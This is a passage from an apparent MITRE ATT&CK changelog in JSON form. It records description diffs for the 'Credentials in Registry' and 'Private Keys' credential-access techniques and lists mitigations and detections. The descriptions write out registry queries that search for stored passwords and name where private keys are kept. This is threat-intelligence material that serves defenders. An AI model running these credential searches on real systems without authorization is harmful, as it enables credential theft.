                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_version": "1.2",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:54:40.982000+00:00\", \"old_value\": \"2026-05-12 15:12:00.624000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.\\n\\nExample commands to find Registry keys related to password information:(Citation: Pentestlab Stored Credentials)\\n\\n* Local Machine Hive: <code>reg query HKLM /f password /t REG_SZ /s</code>\\n* Current User Hive: <code>reg query HKCU /f password /t REG_SZ /s</code>\", \"old_value\": \"Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.\\n\\nExample commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)\\n\\n* Local Machine Hive: <code>reg query HKLM /f password /t REG_SZ /s</code>\\n* Current User Hive: <code>reg query HKCU /f password /t REG_SZ /s</code>\", \"diff\": \"--- \\n+++ \\n@@ -1,6 +1,6 @@\\n Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.\\n \\n-Example commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)\\n+Example commands to find Registry keys related to password information:(Citation: Pentestlab Stored Credentials)\\n \\n * Local Machine Hive: <code>reg query HKLM /f password /t REG_SZ /s</code>\\n * Current User Hive: <code>reg query HKCU /f password /t REG_SZ /s</code>\"}}}",
                    "previous_version": "1.2",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to86__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to86__0\"><a href=\"#difflib_chg_to86__top\">t</a></td><td class=\"diff_header\" id=\"from86_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;search&nbsp;the&nbsp;Registry&nbsp;on&nbsp;compromised&nbsp;systems&nbsp;f</td><td class=\"diff_next\"><a href=\"#difflib_chg_to86__top\">t</a></td><td class=\"diff_header\" id=\"to86_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;search&nbsp;the&nbsp;Registry&nbsp;on&nbsp;compromised&nbsp;systems&nbsp;f</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">or&nbsp;insecurely&nbsp;stored&nbsp;credentials.&nbsp;The&nbsp;Windows&nbsp;Registry&nbsp;store</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">or&nbsp;insecurely&nbsp;stored&nbsp;credentials.&nbsp;The&nbsp;Windows&nbsp;Registry&nbsp;store</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;configuration&nbsp;information&nbsp;that&nbsp;can&nbsp;be&nbsp;used&nbsp;by&nbsp;the&nbsp;system&nbsp;o</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;configuration&nbsp;information&nbsp;that&nbsp;can&nbsp;be&nbsp;used&nbsp;by&nbsp;the&nbsp;system&nbsp;o</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;other&nbsp;programs.&nbsp;Adversaries&nbsp;may&nbsp;query&nbsp;the&nbsp;Registry&nbsp;looking</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;other&nbsp;programs.&nbsp;Adversaries&nbsp;may&nbsp;query&nbsp;the&nbsp;Registry&nbsp;looking</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;for&nbsp;credentials&nbsp;and&nbsp;passwords&nbsp;that&nbsp;have&nbsp;been&nbsp;stored&nbsp;for&nbsp;use</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;for&nbsp;credentials&nbsp;and&nbsp;passwords&nbsp;that&nbsp;have&nbsp;been&nbsp;stored&nbsp;for&nbsp;use</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;by&nbsp;other&nbsp;programs&nbsp;or&nbsp;services.&nbsp;Sometimes&nbsp;these&nbsp;credentials&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;by&nbsp;other&nbsp;programs&nbsp;or&nbsp;services.&nbsp;Sometimes&nbsp;these&nbsp;credentials&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">are&nbsp;used&nbsp;for&nbsp;automatic&nbsp;logons.&nbsp;&nbsp;Example&nbsp;commands&nbsp;to&nbsp;find&nbsp;Reg</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">are&nbsp;used&nbsp;for&nbsp;automatic&nbsp;logons.&nbsp;&nbsp;Example&nbsp;commands&nbsp;to&nbsp;find&nbsp;Reg</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">istry&nbsp;keys&nbsp;related&nbsp;to&nbsp;password&nbsp;information:<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Pente</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">istry&nbsp;keys&nbsp;related&nbsp;to&nbsp;password&nbsp;information:(Citation:&nbsp;Pentes</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">stlab&nbsp;Stored&nbsp;Credentials)&nbsp;&nbsp;*&nbsp;Local&nbsp;Machine&nbsp;Hive:&nbsp;&lt;code&gt;reg&nbsp;q</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tlab&nbsp;Stored&nbsp;Credentials)&nbsp;&nbsp;*&nbsp;Local&nbsp;Machine&nbsp;Hive:&nbsp;&lt;code&gt;reg&nbsp;qu</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">uery&nbsp;HKLM&nbsp;/f&nbsp;password&nbsp;/t&nbsp;REG_SZ&nbsp;/s&lt;/code&gt;&nbsp;*&nbsp;Current&nbsp;User&nbsp;Hiv</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ery&nbsp;HKLM&nbsp;/f&nbsp;password&nbsp;/t&nbsp;REG_SZ&nbsp;/s&lt;/code&gt;&nbsp;*&nbsp;Current&nbsp;User&nbsp;Hive</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e:&nbsp;&lt;code&gt;reg&nbsp;query&nbsp;HKCU&nbsp;/f&nbsp;password&nbsp;/t&nbsp;REG_SZ&nbsp;/s&lt;/code&gt;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">:&nbsp;&lt;code&gt;reg&nbsp;query&nbsp;HKCU&nbsp;/f&nbsp;password&nbsp;/t&nbsp;REG_SZ&nbsp;/s&lt;/code&gt;</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1026: Privileged Account Management",
                            "M1027: Password Policies",
                            "M1047: Audit"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0250: Detect Credential Discovery via Windows Registry Enumeration"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-02-04 13:06:49.258000+00:00",
                    "modified": "2026-11-03 23:50:31.428000+00:00",
                    "name": "Private Keys",
                    "description": "Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk, .p12, .pem, .pfx, .cer, .p7b, .asc. \n\nAdversaries may also look in common key directories, such as <code>~/.ssh</code> for SSH keys on * nix-based systems or <code>C:&#92;Users&#92;(username)&#92;.ssh&#92;</code> on Windows. Adversary tools may also search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)\n\nWhen a device is registered to Entra ID, a device key and a transport key are generated and used to verify the device\u2019s identity.(Citation: Microsoft Primary Refresh Token) An adversary with access to the device may be able to export the keys in order to impersonate the device.(Citation: AADInternals Azure AD Device Identities)\n\nOn network devices, private keys may be exported via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `crypto pki export`.(Citation: cisco_deploy_rsa_keys) \n\nSome private keys require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line. These private keys can be used to authenticate to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email.",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "credential-access"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1552/004",
                            "external_id": "T1552.004"
                        },
                        {
                            "source_name": "Palo Alto Prince of Persia",
                            "description": "Bar, T., Conant, S., Efraim, L. (2016, June 28). Prince of Persia \u2013 Game Over. Retrieved July 5, 2017.",
                            "url": "https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/"
                        },
                        {
                            "source_name": "cisco_deploy_rsa_keys",
                            "description": "Cisco. (2023, February 17). Chapter: Deploying RSA Keys Within a PKI . Retrieved March 27, 2023.",
                            "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/sec_conn_pki/configuration/xe-17/sec-pki-xe-17-book/sec-deploy-rsa-pki.html#GUID-1CB802D8-9DE3-447F-BECE-CF22F5E11436"
                        },
                        {
                            "source_name": "AADInternals Azure AD Device Identities",
                            "description": "Dr. Nestori Syynimaa. (2022, February 15). Stealing and faking Azure AD device identities. Retrieved February 21, 2023.",
                            "url": "https://aadinternals.com/post/deviceidentity/"
                        },
                        {
                            "source_name": "Kaspersky Careto",
                            "description": "Kaspersky Labs. (2014, February 11). Unveiling \u201cCareto\u201d - The Masked APT. Retrieved July 5, 2017.",
                            "url": "https://web.archive.org/web/20141031134104/http://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf"
                        },
                        {
                            "source_name": "Microsoft Primary Refresh Token",
                            "description": "Microsoft. (2022, September 9). What is a Primary Refresh Token?. Retrieved February 21, 2023.",
                            "url": "https://learn.microsoft.com/en-us/azure/active-directory/devices/concept-primary-refresh-token"
                        },
                        {
                            "source_name": "Wikipedia Public Key Crypto",
                            "description": "Wikipedia. (2017, June 29). Public-key cryptography. Retrieved July 5, 2017.",
                            "url": "https://en.wikipedia.org/wiki/Public-key_cryptography"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Itzik Kotler, SafeBreach",
                        "Austin Clark, @c2defense"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Linux",
                        "macOS",
                        "Network Devices",
                        "Windows"
                    ],
                    "x_mitre_version": "1.3",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 23:50:31.428000+00:00\", \"old_value\": \"2026-05-12 15:12:00.635000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk, .p12, .pem, .pfx, .cer, .p7b, .asc. \\n\\nAdversaries may also look in common key directories, such as <code>~/.ssh</code> for SSH keys on * nix-based systems or <code>C:&#92;Users&#92;(username)&#92;.ssh&#92;</code> on Windows. Adversary tools may also search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)\\n\\nWhen a device is registered to Entra ID, a device key and a transport key are generated and used to verify the device\\u2019s identity.(Citation: Microsoft Primary Refresh Token) An adversary with access to the device may be able to export the keys in order to impersonate the device.(Citation: AADInternals Azure AD Device Identities)\\n\\nOn network devices, private keys may be exported via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `crypto pki export`.(Citation: cisco_deploy_rsa_keys) \\n\\nSome private keys require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line. These private keys can be used to authenticate to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email.\", \"old_value\": \"Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. \\n\\nAdversaries may also look in common key directories, such as <code>~/.ssh</code> for SSH keys on * nix-based systems or <code>C:&#92;Users&#92;(username)&#92;.ssh&#92;</code> on Windows. Adversary tools may also search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)\\n\\nWhen a device is registered to Entra ID, a device key and a transport key are generated and used to verify the device\\u2019s identity.(Citation: Microsoft Primary Refresh Token) An adversary with access to the device may be able to export the keys in order to impersonate the device.(Citation: AADInternals Azure AD Device Identities)\\n\\nOn network devices, private keys may be exported via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `crypto pki export`.(Citation: cisco_deploy_rsa_keys) \\n\\nSome private keys require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line. These private keys can be used to authenticate to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email.\", \"diff\": \"--- \\n+++ \\n@@ -1,4 +1,4 @@\\n-Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. \\n+Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk, .p12, .pem, .pfx, .cer, .p7b, .asc. \\n \\n Adversaries may also look in common key directories, such as <code>~/.ssh</code> for SSH keys on * nix-based systems or <code>C:&#92;Users&#92;(username)&#92;.ssh&#92;</code> on Windows. Adversary tools may also search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)\\n \"}}}",
                    "previous_version": "1.3",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to129__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to129__0\"><a href=\"#difflib_chg_to129__top\">t</a></td><td class=\"diff_header\" id=\"from129_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;search&nbsp;for&nbsp;private&nbsp;key&nbsp;certificate&nbsp;files&nbsp;on&nbsp;</td><td class=\"diff_next\"><a href=\"#difflib_chg_to129__top\">t</a></td><td class=\"diff_header\" id=\"to129_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;search&nbsp;for&nbsp;private&nbsp;key&nbsp;certificate&nbsp;files&nbsp;on&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">compromised&nbsp;systems&nbsp;for&nbsp;insecurely&nbsp;stored&nbsp;credentials.&nbsp;Priva</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">compromised&nbsp;systems&nbsp;for&nbsp;insecurely&nbsp;stored&nbsp;credentials.&nbsp;Priva</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">te&nbsp;cryptographic&nbsp;keys&nbsp;and&nbsp;certificates&nbsp;are&nbsp;used&nbsp;for&nbsp;authenti</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">te&nbsp;cryptographic&nbsp;keys&nbsp;and&nbsp;certificates&nbsp;are&nbsp;used&nbsp;for&nbsp;authenti</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cation,&nbsp;encryption/decryption,&nbsp;and&nbsp;digital&nbsp;signatures.(Citat</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cation,&nbsp;encryption/decryption,&nbsp;and&nbsp;digital&nbsp;signatures.(Citat</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ion:&nbsp;Wikipedia&nbsp;Public&nbsp;Key&nbsp;Crypto)&nbsp;Common&nbsp;key&nbsp;and&nbsp;certificate</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ion:&nbsp;Wikipedia&nbsp;Public&nbsp;Key&nbsp;Crypto)&nbsp;Common&nbsp;key&nbsp;and&nbsp;certificate</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;file&nbsp;extensions&nbsp;include:&nbsp;.key,&nbsp;.pgp,&nbsp;.gpg,&nbsp;.ppk<span class=\"diff_sub\">.</span>,&nbsp;.p12,&nbsp;.pe</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;file&nbsp;extensions&nbsp;include:&nbsp;.key,&nbsp;.pgp,&nbsp;.gpg,&nbsp;.ppk,&nbsp;.p12,&nbsp;.pem</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">m,&nbsp;.pfx,&nbsp;.cer,&nbsp;.p7b,&nbsp;.asc.&nbsp;&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;look&nbsp;in&nbsp;co</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;.pfx,&nbsp;.cer,&nbsp;.p7b,&nbsp;.asc.&nbsp;&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;look&nbsp;in&nbsp;com</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mmon&nbsp;key&nbsp;directories,&nbsp;such&nbsp;as&nbsp;&lt;code&gt;~/.ssh&lt;/code&gt;&nbsp;for&nbsp;SSH&nbsp;ke</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mon&nbsp;key&nbsp;directories,&nbsp;such&nbsp;as&nbsp;&lt;code&gt;~/.ssh&lt;/code&gt;&nbsp;for&nbsp;SSH&nbsp;key</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ys&nbsp;on&nbsp;*&nbsp;nix-based&nbsp;systems&nbsp;or&nbsp;&lt;code&gt;C:&amp;#92;Users&amp;#92;(usernam</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;on&nbsp;*&nbsp;nix-based&nbsp;systems&nbsp;or&nbsp;&lt;code&gt;C:&amp;#92;Users&amp;#92;(username</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e)&amp;#92;.ssh&amp;#92;&lt;/code&gt;&nbsp;on&nbsp;Windows.&nbsp;Adversary&nbsp;tools&nbsp;may&nbsp;also</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">)&amp;#92;.ssh&amp;#92;&lt;/code&gt;&nbsp;on&nbsp;Windows.&nbsp;Adversary&nbsp;tools&nbsp;may&nbsp;also&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;search&nbsp;compromised&nbsp;systems&nbsp;for&nbsp;file&nbsp;extensions&nbsp;relating&nbsp;to&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">search&nbsp;compromised&nbsp;systems&nbsp;for&nbsp;file&nbsp;extensions&nbsp;relating&nbsp;to&nbsp;c</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cryptographic&nbsp;keys&nbsp;and&nbsp;certificates.(Citation:&nbsp;Kaspersky&nbsp;Car</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ryptographic&nbsp;keys&nbsp;and&nbsp;certificates.(Citation:&nbsp;Kaspersky&nbsp;Care</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">eto)(Citation:&nbsp;Palo&nbsp;Alto&nbsp;Prince&nbsp;of&nbsp;Persia)&nbsp;&nbsp;When&nbsp;a&nbsp;device&nbsp;is</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">to)(Citation:&nbsp;Palo&nbsp;Alto&nbsp;Prince&nbsp;of&nbsp;Persia)&nbsp;&nbsp;When&nbsp;a&nbsp;device&nbsp;is&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;registered&nbsp;to&nbsp;Entra&nbsp;ID,&nbsp;a&nbsp;device&nbsp;key&nbsp;and&nbsp;a&nbsp;transport&nbsp;key&nbsp;ar</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">registered&nbsp;to&nbsp;Entra&nbsp;ID,&nbsp;a&nbsp;device&nbsp;key&nbsp;and&nbsp;a&nbsp;transport&nbsp;key&nbsp;are</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;generated&nbsp;and&nbsp;used&nbsp;to&nbsp;verify&nbsp;the&nbsp;device\u2019s&nbsp;identity.(Citati</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;generated&nbsp;and&nbsp;used&nbsp;to&nbsp;verify&nbsp;the&nbsp;device\u2019s&nbsp;identity.(Citatio</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on:&nbsp;Microsoft&nbsp;Primary&nbsp;Refresh&nbsp;Token)&nbsp;An&nbsp;adversary&nbsp;with&nbsp;acces</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n:&nbsp;Microsoft&nbsp;Primary&nbsp;Refresh&nbsp;Token)&nbsp;An&nbsp;adversary&nbsp;with&nbsp;access</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;to&nbsp;the&nbsp;device&nbsp;may&nbsp;be&nbsp;able&nbsp;to&nbsp;export&nbsp;the&nbsp;keys&nbsp;in&nbsp;order&nbsp;to&nbsp;i</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;the&nbsp;device&nbsp;may&nbsp;be&nbsp;able&nbsp;to&nbsp;export&nbsp;the&nbsp;keys&nbsp;in&nbsp;order&nbsp;to&nbsp;im</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mpersonate&nbsp;the&nbsp;device.(Citation:&nbsp;AADInternals&nbsp;Azure&nbsp;AD&nbsp;Devic</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">personate&nbsp;the&nbsp;device.(Citation:&nbsp;AADInternals&nbsp;Azure&nbsp;AD&nbsp;Device</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;Identities)&nbsp;&nbsp;On&nbsp;network&nbsp;devices,&nbsp;private&nbsp;keys&nbsp;may&nbsp;be&nbsp;expor</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Identities)&nbsp;&nbsp;On&nbsp;network&nbsp;devices,&nbsp;private&nbsp;keys&nbsp;may&nbsp;be&nbsp;export</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ted&nbsp;via&nbsp;[Network&nbsp;Device&nbsp;CLI](https://attack.mitre.org/techni</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ed&nbsp;via&nbsp;[Network&nbsp;Device&nbsp;CLI](https://attack.mitre.org/techniq</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ques/T1059/008)&nbsp;commands&nbsp;such&nbsp;as&nbsp;`crypto&nbsp;pki&nbsp;export`.(Citati</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ues/T1059/008)&nbsp;commands&nbsp;such&nbsp;as&nbsp;`crypto&nbsp;pki&nbsp;export`.(Citatio</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on:&nbsp;cisco_deploy_rsa_keys)&nbsp;&nbsp;&nbsp;Some&nbsp;private&nbsp;keys&nbsp;require&nbsp;a&nbsp;pas</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n:&nbsp;cisco_deploy_rsa_keys)&nbsp;&nbsp;&nbsp;Some&nbsp;private&nbsp;keys&nbsp;require&nbsp;a&nbsp;pass</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sword&nbsp;or&nbsp;passphrase&nbsp;for&nbsp;operation,&nbsp;so&nbsp;an&nbsp;adversary&nbsp;may&nbsp;also&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">word&nbsp;or&nbsp;passphrase&nbsp;for&nbsp;operation,&nbsp;so&nbsp;an&nbsp;adversary&nbsp;may&nbsp;also&nbsp;u</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">use&nbsp;[Input&nbsp;Capture](https://attack.mitre.org/techniques/T105</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">se&nbsp;[Input&nbsp;Capture](https://attack.mitre.org/techniques/T1056</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">6)&nbsp;for&nbsp;keylogging&nbsp;or&nbsp;attempt&nbsp;to&nbsp;[Brute&nbsp;Force](https://attack</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">)&nbsp;for&nbsp;keylogging&nbsp;or&nbsp;attempt&nbsp;to&nbsp;[Brute&nbsp;Force](https://attack.</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 